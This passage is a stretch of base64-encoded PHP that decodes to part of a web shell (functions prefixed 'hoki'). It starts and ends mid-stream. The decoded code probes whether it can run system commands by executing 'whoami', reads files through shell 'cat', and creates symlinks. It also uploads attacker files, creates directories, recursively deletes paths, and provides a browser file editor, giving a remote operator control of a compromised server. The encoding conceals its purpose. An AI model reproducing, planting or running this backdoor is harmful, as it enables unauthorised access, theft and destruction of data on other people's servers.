ZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi5vcHRpb25zX3RhYiIpKSxob2tpSW5pdFNvcmF0YWJsZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi50ZXJtaW5hbC10YWJzIikpLGhva2lJbml0U29yYXRhYmxlVGFiKGQucXVlcnlTZWxlY3RvcigiLnNxbC10YWJ
zIikpfSxkLmJvZHkuYXBwZW5kQ2hpbGQoZSl9KCk7Cjwvc2NyaXB0Pgo8L2JvZHk+CjwvaHRtbD4KPD9waHAKfX0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcyhAaW5pX2dldCgnZGlzYWJsZV9mdW5jdG
lvbnMnKSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkpIHsKZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpICYmIChzdHJwb3MoQGluaV9nZ
XQoJ2Rpc2FibGVfZnVuY3Rpb25zJyksICdwb3NpeF9nZXRncmdpZCcpPT09ZmFsc2UpKSB7CmZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQpmdW5jdGlvbiBob2tpV2hpY2goJHApIHsKJHBhdGggPSBob2tpRXgo
J3doaWNoICcgLiAkcCxmYWxzZSxmYWxzZSk7CmlmKCFlbXB0eSgkcGF0aCkpCnJldHVybiBzdHJsZW4oJHBhdGgpOwpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gaG9raVNpemUoJHMpIHsKaWYoJHMgPj0gMTA3Mzc0MTgyNCkKcmV0dXJuIHNwcml
udGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOwplbHNlaWYoJHMgPj0gMTA0ODU3NikKcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsKZWxzZWlmKCRzID49IDEwMjQpCnJldHVybiBzcHJpbn
RmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7CmVsc2UKcmV0dXJuICRzIC4gJyBCJzsKfQpmdW5jdGlvbiBob2tpUGVybXMoJHApIHsKaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3PigIsnOwplbHNlaWYgKCgkcCAmIDB4Q
TAwMCkgPT0gMHhBMDAwKSRpID0gJ2zigIsnOwplbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy3igIsnOwplbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2LigIsnOwplbHNlaWYgKCgkcCAmIDB4NDAwMCkg
PT0gMHg0MDAwKSRpID0gJ2TigIsnOwplbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2PigIsnOwplbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3DigIsnOwplbHNlICRpID0gJ3XigIsnOwokaSAuPSAoKCR
wICYgMHgwMTAwKSA/ICdy4oCLJyA6ICctJyk7CiRpIC49ICgoJHAgJiAweDAwODApID8gJ3figIsnIDogJy0nKTsKJGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdz4oCLJyA6ICd44oCLJyApIDogKCgkcCAmIDB4MDgwMC
kgPyAnU+KAiycgOiAnLScpKTsKJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncuKAiycgOiAnLScpOwokaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd34oCLJyA6ICctJyk7CiRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQwMCkgPyAnc+KAi
ycgOiAneOKAiycgKSA6ICgoJHAgJiAweDA0MDApID8gJ1PigIsnIDogJy0nKSk7CiRpIC49ICgoJHAgJiAweDAwMDQpID8gJ3LigIsnIDogJy0nKTsKJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAnd+KAiycgOiAnLScpOwokaSAuPSAoKCRwICYgMHgw
MDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3TigIsnIDogJ3jigIsnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdU4oCLJyA6ICctJykpOwpyZXR1cm4gJGk7Cn0KZnVuY3Rpb24gaG9raVBlcm1zQ29sb3IoJGYsJGlzYmFzaD1mYWxzZSl7CiRjbGFzcyA
9ICIiOwokbnVtID0gIiI7CiRodW1hbiA9ICIiOwppZigkaXNiYXNoKXsKJGNsYXNzID0gJGZbImNsYXNzIl07CiRudW0gPSAkZlsibnVtIl07CiRodW1hbiA9ICRmWyJodW1hbiJdOwp9ZWxzZXsKJG51bSA9IHN1YnN0cihzcHJpbnRmKCclbycsIE
BmaWxlcGVybXMoJGYpKSwtNCk7CiRodW1hbiA9IGhva2lQZXJtcyhAZmlsZXBlcm1zKCRmKSk7CmlmKCFAaXNfcmVhZGFibGUoJGYpKQokY2xhc3MgPSAibWFpbl9yZWRfcGVybSI7CmVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpCiRjbGFzcyA9I
CJtYWluX3doaXRlX3Blcm0iOwplbHNlCiRjbGFzcyA9ICJtYWluX2dyZWVuX3Blcm0iOwp9CnJldHVybiAnPHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9IicuJGNsYXNzLiciPicuJG51bS4nPC9zcGFuPjxzcGFuIHN0eWxl
PSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJiZWV0d2Vlbl9wZXJtcyI+ID4+IDwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7IiBjbGFzcz0iJy4kY2xhc3MuJyI+Jy4kaHVtYW4uJzwvc3Bhbj4nOwp9CmlmKCFmdW5jdGl
vbl9leGlzdHMoInNjYW5kaXIiKSkgewpmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsKJGRoID0gb3BlbmRpcigkZGlyKTsKd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZGgpKSkKJGZpbGVzW10gPSAkZmlsZW5hbWU7CnJldH
VybiAkZmlsZXM7Cn0KfQpmdW5jdGlvbiByZUFycmF5RmlsZXMoJGZpbGVfcG9zdCl7CiRmaWxlX2FyeSA9IGFycmF5KCk7CiRmaWxlX2NvdW50ID0gY291bnQoJGZpbGVfcG9zdFsnbmFtZSddKTsKJGZpbGVfa2V5cyA9IGFycmF5X2tleXMoJGZpb
GVfcG9zdCk7CmZvciAoJGk9MDsgJGk8JGZpbGVfY291bnQ7ICRpKyspIHsKZm9yZWFjaCAoJGZpbGVfa2V5cyBhcyAka2V5KSB7CiRmaWxlX2FyeVskaV1bJGtleV0gPSAkZmlsZV9wb3N0WyRrZXldWyRpXTsKfQp9CnJldHVybiAkZmlsZV9hcnk7
Cn0KZnVuY3Rpb24gX2hva2lfY2FuX3J1bkNvbW1hbmQoJGNnaT10cnVlLCRjYWNoZT10cnVlKXsKCWlmKGlzc2V0KCRfQ09PS0lFWyJob2tpX2NhbnJ1bmNtZCJdKSYmJGNhY2hlKXsKCQlyZXR1cm4gdHJ1ZTsKCX0KCWlmKHN0cmxlbihob2tpRXg
oIndob2FtaSIsZmFsc2UsJGNnaSkpPjApewoJCSRfQ09PS0lFWyJob2tpX2NhbnJ1bmNtZCJdID0gdHJ1ZTsKCQlyZXR1cm4gdHJ1ZTsKCX0KCXJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBfaG9raV9zeW1saW5rKCR0YXJnZXQsICRsaW5rKXsKCS
RwaHBzeW0gPSBmdW5jdGlvbl9leGlzdHMoInN5bWxpbmsiKTsKCWlmKCRwaHBzeW0pewoJCUBzeW1saW5rKCR0YXJnZXQsICRsaW5rKTsKCX1lbHNlewoJCWhva2lFeCgibG4gLXMgJyIuYWRkc2xhc2hlcygkdGFyZ2V0KS4iJyAnIi5hZGRzbGFza
GVzKCRsaW5rKS4iJyIpOwoJfQp9CmZ1bmN0aW9uIF9ob2tpX2ZpbGVfZXhpc3RzKCRmaWxlLCRjZ2k9dHJ1ZSl7CglpZihAZmlsZV9leGlzdHMoJGZpbGUpKXsKCQlyZXR1cm4gdHJ1ZTsKCX1lbHNlewoJCWlmKHN0cmxlbihob2tpRXgoImxzIC1s
YSAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyIsZmFsc2UsJGNnaSkpPjApewoJCQlyZXR1cm4gdHJ1ZTsKCQl9Cgl9CglyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gX2hva2lfZmlsZSgkZmlsZSwkY2dpPXRydWUpewoJJGFycmF5ID0gQGZpbGUoJGZ
pbGUpOwoJaWYoISRhcnJheSl7CgkJaWYoc3RybGVuKGhva2lFeCgiaWQiLGZhbHNlLCRjZ2kpKT4wKXsKCQkJJGRhdGEgPSBob2tpRXgoJ2NhdCAiJy5hZGRzbGFzaGVzKCRmaWxlKS4nIicsZmFsc2UsJGNnaSk7CgkJCWlmKHN0cmxlbigkZGF0YS
k+MCl7CgkJCQlyZXR1cm4gZXhwbG9kZSgiXG4iLCAkZGF0YSk7CgkJCX1lbHNlewoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJfWVsc2V7CgkJCXJldHVybiBmYWxzZTsKCQl9Cgl9ZWxzZXsKCQlyZXR1cm4gJGFycmF5OwoJfQp9CmZ1bmN0aW9uI
F9ob2tpX2lzX3dyaXRhYmxlKCRmaWxlKXsKCSRjaGVjayA9IGZhbHNlOwoJJGNoZWNrID0gQGlzX3dyaXRhYmxlKCRmaWxlKTsKCWlmKCEkY2hlY2spewoJCWlmKF9ob2tpX2Nhbl9ydW5Db21tYW5kKCkpewoJCQkkY2hlY2sgPSBob2tpRXgoJ1sg
LXcgIicudHJpbShhZGRzbGFzaGVzKCRmaWxlKSkuJyIgXSAmJiBlY2hvICJ5ZXMiIHx8IGVjaG8gIm5vIicpOwoJCQlpZigkY2hlY2sgPT0gInllcyIpewoJCQkJJGNoZWNrID0gdHJ1ZTsKCQkJfWVsc2V7CgkJCQkkY2hlY2sgPSBmYWxzZTsKCQk
JfQoJCX0KCX0KCXJldHVybiAkY2hlY2s7Cn0KZnVuY3Rpb24gX2hva2lfaXNfZGlyKCRkaXIsJG1vZGU9Ii1kIil7CgkkY2hlY2sgPSBmYWxzZTsKCSRjaGVjayA9IEBpc19kaXIoJGRpcik7CglpZigkbW9kZSA9PSAiLWUiKXsKCQkkY2hlY2sgPS
BAaXNfZmlsZSgkZGlyKTsKCX0KCWlmKCEkY2hlY2spewoJCWlmKF9ob2tpX2Nhbl9ydW5Db21tYW5kKCkpewoJCQkkY2hlY2sgPSBob2tpRXgoJ1sgIicudHJpbSgkbW9kZSkuJyIgIicudHJpbShhZGRzbGFzaGVzKCRkaXIpKS4nIiBdICYmIGVja
G8gInllcyIgfHwgZWNobyAibm8iJyk7CgkJCWlmKCRjaGVjayA9PSAieWVzIil7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfWVsc2V7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9Cgl9CglyZXR1cm4gJGNoZWNrOwp9CmZ1bmN0aW9uIF9ob2tpX2xv
YWRfYWNlX29wdGlvbnMoJGJhc2UpewoJcmV0dXJuICc8c3Bhbj5UaGVtZTogPC9zcGFuPjxzZWxlY3QgY2xhc3M9ImFjZS1jb250cm9sZXIgYWNlLXRoZW1lLXNlbGVjdG9yIiBiYXNlPSInLiRiYXNlLiciIG9uQ2hhbmdlPSJob2tpQWNlQ2hhbmd
lU2V0dGluZyh0aGlzLFwndGhlbWVcJyk7Ij48b3B0aW9uIHZhbHVlPSJ0ZXJtaW5hbCIgc2VsZWN0ZWQ+dGVybWluYWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJhbWJpYW5jZSI+YW1iaWFuY2U8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjaGFvcy
I+Y2hhb3M8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjaHJvbWUiPmNocm9tZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNsb3VkcyI+Y2xvdWRzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY2xvdWRzX21pZG5pZ2h0Ij5jbG91ZHNfbWlkbmlnaHQ8L
29wdGlvbj48b3B0aW9uIHZhbHVlPSJjb2JhbHQiPmNvYmFsdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNyaW1zb25fZWRpdG9yIj5jcmltc29uX2VkaXRvcjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRhd24iPmRhd248L29wdGlvbj48b3B0aW9u
IHZhbHVlPSJkcmFjdWxhIj5kcmFjdWxhPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZHJlYW13ZWF2ZXIiPmRyZWFtd2VhdmVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZWNsaXBzZSI+ZWNsaXBzZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImdpdGh
1YiI+Z2l0aHViPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZ29iIj5nb2I8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJncnV2Ym94Ij5ncnV2Ym94PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iaWRsZV9maW5nZXJzIj5pZGxlX2ZpbmdlcnM8L29wdGlvbj
48b3B0aW9uIHZhbHVlPSJpcGxhc3RpYyI+aXBsYXN0aWM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJrYXR6ZW5taWxjaCI+a2F0emVubWlsY2g8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJrcl90aGVtZSI+a3JfdGhlbWU8L29wdGlvbj48b3B0aW9uI
HZhbHVlPSJrdXJvaXIiPmt1cm9pcjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Im1lcmJpdm9yZSI+bWVyYml2b3JlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibWVyYml2b3JlX3NvZnQiPm1lcmJpdm9yZV9zb2Z0PC9vcHRpb24+PG9wdGlvbiB2YWx1
ZT0ibW9ub19pbmR1c3RyaWFsIj5tb25vX2luZHVzdHJpYWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtb25va2FpIj5tb25va2FpPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibm9yZF9kYXJrIj5ub3JkX2Rhcms8L29wdGlvbj48b3B0aW9uIHZhbHV
lPSJwYXN0ZWxfb25fZGFyayI+cGFzdGVsX29uX2Rhcms8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzb2xhcml6ZWRfZGFyayI+c29sYXJpemVkX2Rhcms8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzb2xhcml6ZWRfbGlnaHQiPnNvbGFyaXplZF9saW
dodDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNxbHNlcnZlciI+c3Fsc2VydmVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idGV4dG1hdGUiPnRleHRtYXRlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3ciPnRvbW9ycm93PC9vcHRpb24+P
G9wdGlvbiB2YWx1ZT0idG9tb3Jyb3dfbmlnaHQiPnRvbW9ycm93X25pZ2h0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3dfbmlnaHRfYmx1ZSI+dG9tb3Jyb3dfbmlnaHRfYmx1ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InRvbW9ycm93
X25pZ2h0X2JyaWdodCI+dG9tb3Jyb3dfbmlnaHRfYnJpZ2h0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3dfbmlnaHRfZWlnaHRpZXMiPnRvbW9ycm93X25pZ2h0X2VpZ2h0aWVzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idHdpbGlnaHQ
iPnR3aWxpZ2h0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idmlicmFudF9pbmsiPnZpYnJhbnRfaW5rPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ieGNvZGUiPnhjb2RlPC9vcHRpb24+PC9zZWxlY3Q+PHNwYW4+TGFuZ3VhZ2U6IDwvc3Bhbj48c2VsZW
N0IGNsYXNzPSJhY2UtY29udHJvbGVyIiBiYXNlPSInLiRiYXNlLiciIG9uQ2hhbmdlPSJob2tpQWNlQ2hhbmdlU2V0dGluZyh0aGlzLFwnbGFuZ1wnKTsiPjxvcHRpb24gdmFsdWU9InBocCI+cGhwPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0icHl0a
G9uIj5weXRob248L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwZXJsIj5wZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY19jcHAiPmMvYysrPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY3NoYXJwIj5jIzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InJ1
YnkiPnJ1Ynk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJodG1sIj5odG1sPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iamF2YXNjcmlwdCI+amF2YXNjcmlwdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNzcyI+Y3NzPC9vcHRpb24+PG9wdGlvbiB2YWx
1ZT0ieG1sIj54bWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzcWwiPnNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InN3aWZ0Ij5zd2lmdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNoIj5iYXNoPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibHVhIj
5sdWE8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwb3dlcnNoZWxsIj5wb3dlcnNoZWxsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ianNwIj5qc3A8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJqYXZhIj5qYXZhPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ia
nNvbiI+anNvbjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InBsYWluX3RleHQiPnBsYWluX3RleHQ8L29wdGlvbj48L3NlbGVjdD48c3Bhbj5Tb2Z0IFdyYXA6IDwvc3Bhbj48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9IndyYXBtb2RlIiBjbGFz
cz0iYWNlLWNvbnRyb2xlciIgb25DbGljaz0iaG9raUFjZUNoYW5nZVdyYXBNb2RlKHRoaXMsXCcnLiRiYXNlLidcJyk7IiBjaGVja2VkPiB8IDxzcGFuPkZvbnQgU2l6ZTogPC9zcGFuPjxidXR0b24gY2xhc3M9ImFjZS1jb250cm9sZXIiIHN0eWx
lPSJjdXJzb3I6cG9pbnRlcjsiIG9uY2xpY2s9Imhva2lBY2VDaGFuZ2VGb250U2l6ZShcJycuJGJhc2UuJ1wnLFwnK1wnLCB0aGlzKTtyZXR1cm4gZmFsc2U7Ij4rPC9idXR0b24+IHwgPGJ1dHRvbiBzdHlsZT0iY3Vyc29yOnBvaW50ZXI7IiBjbG
Fzcz0iYWNlLWNvbnRyb2xlciIgb25jbGljaz0iaG9raUFjZUNoYW5nZUZvbnRTaXplKFwnJy4kYmFzZS4nXCcsIFwnLVwnLCB0aGlzKTtyZXR1cm4gZmFsc2U7Ij4tPC9idXR0b24+IHwgJzsKfQpmdW5jdGlvbiBob2tpRmlsZXNNYW4yKCl7Cglob
2tpaGVhZCgpOwoJSG9raU51bSg4LDksMTAsNyw2LDUsNCk7CgllY2hvICc8ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiIGZtX2lkPSIxIiBpZD0iZmlsZXNtYW5faG9sZGVyXzEiIGNsYXNzPSJhamF4YXJlYSBmaWxlc21hbi1hY3RpdmUt
Y29udGVudCI+PGRpdiBjbGFzcz0iaGVhZGVyIj48L2Rpdj48L2Rpdj4nOwoJaG9raUZvb3RlcigpOwp9CmZ1bmN0aW9uIGNvcHlfcGFzdGUoJGMsJHMsJGQpewppZihAaXNfZGlyKCRjLiRzKSl7CkBta2RpcigkZC4kcyk7CiRoID0gQG9wZW5kaXI
oJGMuJHMpOwp3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCmlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKQpjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsKfSBlbHNlaWYoaXNfZmlsZSgkYy4kcy
kpCkBjb3B5KCRjLiRzLCAkZC4kcyk7Cn0KZnVuY3Rpb24gaG9raUZpbGVzTWFuKCl7CmlmKCFlbXB0eSAoJF9DT09LSUVbJ2hva2lfZiddKSkKJF9DT09LSUVbJ2hva2lfZiddID0gQHVuc2VyaWFsaXplKCRfQ09PS0lFWydob2tpX2YnXSk7CmlmK
CFlbXB0eSgkX1BPU1RbJ2hva2kxJ10pKXsKc3dpdGNoKCRfUE9TVFsnaG9raTEnXSl7CmNhc2UgJ3VwbG9hZEZpbGUnOgokbW92ZV9jbWRfZmlsZSA9IGZhbHNlOwokaG9raV9jYW5ydW5jbWQgPSBmYWxzZTsKaWYoJEdMT0JBTFNbJ2dsb2JfY2hk
aXJfZmFsc2UnXSl7CgkkaG9raV9jYW5ydW5jbWQgPSBfaG9raV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpOwoJJG1vdmVfY21kX2ZpbGUgPSB0cnVlOwp9CmlmKF9ob2tpX2lzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSkpewokZmlsZXMgPSB
yZUFycmF5RmlsZXMoJF9GSUxFU1snZiddKTsKJHJldF9maWxlcyA9IGFycmF5KCk7CmZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsKaWYoJG1vdmVfY21kX2ZpbGUmJiRob2tpX2NhbnJ1bmNtZCl7Cglob2tpRXgoImNhdCAnIi5hZGRzbGFzaGVzKC
RmaWxlWyd0bXBfbmFtZSddKS4iJyA+ICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0uIi8iLiRmaWxlWyduYW1lJ10pLiInIik7Cn1lbHNlewoJaWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwkZmlsZVsnbmFtZSddKSl7C
gkJJG93ID0gZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpJiZmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpP0Bwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmaWxlWyduYW1lJ10pKTphcnJheSgibmFtZSIgPT4gIj8/Pz8iKTsK
CQkkZ3IgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikmJmZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZpbGVbJ25hbWUnXSkpOmFycmF5KCJuYW1lIiA9PiAiPz8/PyIpOwo
JCSRmaWxlX293bmVyID0gJG93WyduYW1lJ10/JG93WyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25lcigkZmlsZVsnbmFtZSddKToiPz8/PyIpOwoJCSRmaWxlX2dyb3VwID0gJGdyWyduYW1lJ10/JGdyWyduYW
1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QGZpbGVncm91cCgkZmlsZVsnbmFtZSddKToiPz8/PyIpOwoJCSRmaWxlX21vZGlmeSA9IEBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJGZpbGVbJ25hbWUnXSkpOwoJCSRma
WxlX3Blcm0gPSBob2tpUGVybXNDb2xvcigkZmlsZVsnbmFtZSddKTsKCQkkZmlsZV9zaXplID0gQGZpbGVzaXplKCRmaWxlWyduYW1lJ10pOwoJCSRyZXRfZmlsZXNbXSA9IGFycmF5KCJuYW1lIiA9PiAkZmlsZVsnbmFtZSddLCAic2l6ZSIgPT4g
aG9raVNpemUoJGZpbGVfc2l6ZSksICJwZXJtIiA9PiAkZmlsZV9wZXJtLCAibW9kaWZ5IiA9PiAkZmlsZV9tb2RpZnksICJvd25lciIgPT4gJGZpbGVfb3duZXIuIi8iLiRmaWxlX2dyb3VwKTsKCX0KfQp9CmlmKCEkbW92ZV9jbWRfZmlsZSl7Cgl
lY2hvIGpzb25fZW5jb2RlKCRyZXRfZmlsZXMpOwp9Cn1lbHNlewoJZWNobyAibm9wZXJtIjsKCXJldHVybjsKfQppZighJG1vdmVfY21kX2ZpbGUpewpyZXR1cm47Cn0KYnJlYWs7CmNhc2UgJ21rZGlyJzoKJG5ld19kaXJfY21kID0gZmFsc2U7Cm
lmKCRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10pewoJaWYoX2hva2lfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7CgkJaWYoX2hva2lfaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKSl7CgkJCWlmKCFfaG9raV9pc19kaXIodHJpbSgkX
1BPU1RbJ2hva2kyJ10pKSl7CgkJCQlob2tpRXgoImNkICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2MnXSkpLiInO21rZGlyICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2hva2kyJ10pKS4iJyIpOwoJCQkJZWNobyAiPHNjcmlwdD5ob2tp
U2hvd05vdGlmaWNhdGlvbignIi5hZGRzbGFzaGVzKCRfUE9TVFsnaG9raTInXSkuIiBjcmVhdGVkLi4uJywgJ0ZpbGVzIG1hbmFnZXInKTs8L3NjcmlwdD4iOwoJCQl9ZWxzZXsKCQkJCWVjaG8gIjxzY3JpcHQ+aG9raVNob3dOb3RpZmljYXRpb24
oJ2ZvbGRlciBhbHJlYWR5IGV4aXN0ZWQnLCAnRmlsZXMgbWFuYWdlcicsICdlcnJvcicpOzwvc2NyaXB0PiI7CgkJCX0KCQl9ZWxzZXsKCQkJZWNobyAiPHNjcmlwdD5ob2tpU2hvd05vdGlmaWNhdGlvbignZm9sZGVyIGlzbnQgd3JpdGFibGUgIS
csICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJyk7PC9zY3JpcHQ+IjsKCQl9Cgl9ZWxzZXsKCQllY2hvICI8c2NyaXB0Pmhva2lTaG93Tm90aWZpY2F0aW9uKCdDYW5cJ3QgY3JlYXRlIG5ldyBkaXIgIScsICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJ
yk7PC9zY3JpcHQ+IjsKCX0KfWVsc2V7CglpZihfaG9raV9pc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pKXsKCQlpZighX2hva2lfaXNfZGlyKHRyaW0oJF9QT1NUWydob2tpMiddKSkpewoJCQlpZighQG1rZGlyKHRyaW0oJF9QT1NUWydob2tp
MiddKSkpewoJCQkJZWNobyAiPHNjcmlwdD5ob2tpU2hvd05vdGlmaWNhdGlvbignQ2FuXCd0IGNyZWF0ZSBuZXcgZGlyICEnLCAnRmlsZXMgbWFuYWdlcicsICdlcnJvcicpOzwvc2NyaXB0PiI7CgkJCX1lbHNlewoJCQkJZWNobyAiPHNjcmlwdD5
ob2tpU2hvd05vdGlmaWNhdGlvbignIi5hZGRzbGFzaGVzKCRfUE9TVFsnaG9raTInXSkuIiBjcmVhdGVkLi4uJywgJ0ZpbGVzIG1hbmFnZXInKTs8L3NjcmlwdD4iOwoJCQl9CgkJfWVsc2V7CgkJCWVjaG8gIjxzY3JpcHQ+aG9raVNob3dOb3RpZm
ljYXRpb24oJ2ZvbGRlciBhbHJlYWR5IGV4aXN0ZWQnLCAnRmlsZXMgbWFuYWdlcicsICdlcnJvcicpOzwvc2NyaXB0PiI7CgkJfQoJfWVsc2V7CgkJZWNobyAiPHNjcmlwdD5ob2tpU2hvd05vdGlmaWNhdGlvbignZm9sZGVyIGlzbnQgd3JpdGFib
GUgIScsICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJyk7PC9zY3JpcHQ+IjsKCX0KfQpicmVhazsKY2FzZSAnZGVsZXRlJzoKZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKXsKJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRw
YXRoLicvJzsKJGRoID0gQG9wZW5kaXIoJHBhdGgpOwp3aGlsZSgoJGl0ZW0gPSBAcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpewokaXRlbSA9ICRwYXRoLiRpdGVtOwppZigoYmFzZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXR
lbSkgPT0gIi4iKSkKY29udGludWU7CiR0eXBlID0gQGZpbGV0eXBlKCRpdGVtKTsKaWYgKCR0eXBlID09ICJkaXIiKQpkZWxldGVEaXIoJGl0ZW0pOwplbHNlCkB1bmxpbmsoJGl0ZW0pOwp9CkBjbG9zZWRpcigkZGgpOwpAcm1kaXIoJHBhdGgpOw
